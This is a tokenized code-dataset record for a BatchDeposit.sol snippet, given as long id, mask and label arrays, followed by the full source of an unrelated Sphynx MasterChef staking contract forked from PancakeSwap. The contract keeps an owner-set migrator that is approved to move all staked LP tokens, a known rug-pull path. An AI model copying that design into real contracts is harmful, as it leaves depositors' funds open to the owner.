-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x92bed3EE2525C253e87D67b2F3d28b3Db8d67B0a/sources/contracts/BatchDeposit.sol
|
write only if update is needed
|
if (totalSigningKeys != usedSigningKeys) {
| 9,685,192 |
[
1,
4625,
348,
7953,
560,
30,
225,
1045,
1338,
309,
1089,
353,
3577,
203,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5411,
309,
261,
4963,
12322,
2396,
480,
1399,
12322,
2396,
13,
288,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.6.12;
import '@sphynxswap/sphynx-swap-lib/contracts/math/SafeMath.sol';
import '@sphynxswap/sphynx-swap-lib/contracts/token/BEP20/IBEP20.sol';
import '@sphynxswap/sphynx-swap-lib/contracts/token/BEP20/SafeBEP20.sol';
import '@sphynxswap/sphynx-swap-lib/contracts/access/Ownable.sol';
import './SphynxToken.sol';
interface IMigratorChef {
// Perform LP token migration from legacy PancakeSwap or any swap to SphynxSwap.
// Take the current LP token address and return the new LP token address.
// Migrator should have full access to the caller's LP token.
// Return the new LP token address.
//
// XXX Migrator must have allowance access to PancakeSwap LP tokens.
// SphynxSwap must mint EXACTLY the same amount of SphynxSwap LP tokens or
// else something bad will happen. Traditional PancakeSwap does not
// do that so be careful!
function migrate(IBEP20 token) external returns (IBEP20);
}
// Have fun reading it. Hopefully it's bug-free. God bless.
contract MasterChef is Ownable {
using SafeMath for uint256;
using SafeBEP20 for IBEP20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of Sphynxs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accsphynxPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accsphynxPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IBEP20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. sphynxs to distribute per block.
uint256 lastRewardBlock; // Last block number that sphynxs distribution occurs.
uint256 accSphynxPerShare; // Accumulated Sphynxs per share, times 1e12. See below.
}
// The sphynx TOKEN!
SphynxToken public sphynx;
// Dev address.
address public devaddr;
// sphynx tokens created per block.
uint256 public sphynxPerBlock;
// Bonus muliplier for early sphynx makers.
uint256 public BONUS_MULTIPLIER = 1;
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
IMigratorChef public migrator;
uint256 public toBurn = 20;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when sphynx mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event SetDev(address newDev);
constructor(
SphynxToken _sphynx,
address _devaddr,
uint256 _sphynxPerBlock,
uint256 _startBlock
) public {
sphynx = _sphynx;
devaddr = _devaddr;
sphynxPerBlock = _sphynxPerBlock;
startBlock = _startBlock;
// staking pool
poolInfo.push(PoolInfo({ lpToken: _sphynx, allocPoint: 100, lastRewardBlock: startBlock, accSphynxPerShare: 0 }));
totalAllocPoint = 100;
}
function updateMultiplier(uint256 multiplierNumber) public onlyOwner {
BONUS_MULTIPLIER = multiplierNumber;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(
uint256 _allocPoint,
IBEP20 _lpToken,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSphynxPerShare: 0 }));
}
// Update the given pool's sphynx allocation point. Can only be called by the owner.
function set(
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Set the migrator contract. Can only be called by the owner.
function setMigrator(IMigratorChef _migrator) public onlyOwner {
migrator = _migrator;
}
// Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
function migrate(uint256 _pid) public {
require(address(migrator) != address(0), 'migrate: no migrator');
PoolInfo storage pool = poolInfo[_pid];
IBEP20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IBEP20 newLpToken = migrator.migrate(lpToken);
require(bal == newLpToken.balanceOf(address(this)), 'migrate: bad');
pool.lpToken = newLpToken;
}
function changeToBurn(uint256 value) public onlyOwner {
toBurn = value;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
}
// View function to see pending sphynxs on frontend.
function pendingSphynx(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accSphynxPerShare = pool.accSphynxPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 sphynxReward = multiplier.mul(sphynxPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accSphynxPerShare = accSphynxPerShare.add(sphynxReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accSphynxPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 sphynxReward = multiplier.mul(sphynxPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
sphynx.mint(devaddr, sphynxReward.div(100));
sphynx.mint(address(this), sphynxReward);
pool.accSphynxPerShare = pool.accSphynxPerShare.add(sphynxReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to MasterChef for sphynx allocation.
function deposit(uint256 _pid, uint256 _amount) public {
require(_pid != 0, 'deposit sphynx by staking');
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accSphynxPerShare).div(1e12).sub(user.rewardDebt);
if (pending > 0) {
safeSphynxTransfer(msg.sender, pending);
}
}
if (_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accSphynxPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) public {
require(_pid != 0, 'withdraw sphynx by unstaking');
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, 'withdraw: not good');
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accSphynxPerShare).div(1e12).sub(user.rewardDebt);
if (pending > 0) {
safeSphynxTransfer(msg.sender, pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accSphynxPerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _amount);
}
// Stake sphynx tokens to MasterChef
function enterStaking(uint256 _amount) public {
PoolInfo storage pool = poolInfo[0];
UserInfo storage user = userInfo[0][msg.sender];
updatePool(0);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accSphynxPerShare).div(1e12).sub(user.rewardDebt);
if (pending > 0) {
safeSphynxTransfer(msg.sender, pending);
}
}
if (_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accSphynxPerShare).div(1e12);
emit Deposit(msg.sender, 0, _amount);
}
// Withdraw sphynx tokens from STAKING.
function leaveStaking(uint256 _amount) public {
PoolInfo storage pool = poolInfo[0];
UserInfo storage user = userInfo[0][msg.sender];
require(user.amount >= _amount, 'withdraw: not good');
updatePool(0);
uint256 pending = user.amount.mul(pool.accSphynxPerShare).div(1e12).sub(user.rewardDebt);
if (pending > 0) {
safeSphynxTransfer(msg.sender, pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accSphynxPerShare).div(1e12);
emit Withdraw(msg.sender, 0, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe sphynx transfer function, just in case if rounding error causes pool to not have enough sphynxs.
function safeSphynxTransfer(address _to, uint256 _amount) internal {
uint256 amount = _amount.mul(toBurn).div(100);
sphynx.transfer(0x000000000000000000000000000000000000dEaD, amount);
sphynx.transfer(_to, _amount.sub(amount));
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, 'dev: wut?');
devaddr = _devaddr;
emit SetDev(_devaddr);
}
// Sphynx has to add hidden dummy pools inorder to alter the emission, here we make it simple and transparent to all.
function updateEmissionRate(uint256 _perBlock) public onlyOwner {
massUpdatePools();
sphynxPerBlock = _perBlock;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0;
/**
